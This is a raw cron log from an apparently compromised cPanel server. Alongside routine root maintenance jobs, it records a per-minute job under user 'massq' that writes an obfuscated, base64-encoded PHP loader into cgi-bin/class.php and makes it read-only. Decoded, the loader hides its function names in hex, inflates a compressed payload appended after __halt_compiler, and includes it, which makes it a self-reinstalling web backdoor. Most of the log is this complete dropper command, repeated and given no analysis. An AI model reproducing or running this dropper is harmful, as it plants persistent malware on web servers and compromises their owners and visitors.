Nov 11 03:09:01 server CROND[11049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:09:01 server CROND[11050]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 03:10:01 server CROND[11900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 03:10:01 server CROND[11901]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:10:01 server CROND[11903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:10:01 server CROND[11902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:11:01 server CROND[12787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:12:01 server CROND[13784]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 03:12:01 server CROND[13785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:13:01 server CROND[14535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:14:01 server CROND[15374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:15:01 server CROND[16316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:15:01 server CROND[16318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:15:01 server CROND[16319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:16:01 server CROND[17201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:17:01 server CROND[17889]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:18:01 server CROND[18365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:19:01 server CROND[19194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:20:01 server CROND[20093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:20:01 server CROND[20095]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 03:20:01 server CROND[20101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 03:20:01 server CROND[20102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:20:01 server CROND[20104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:21:01 server CROND[20400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
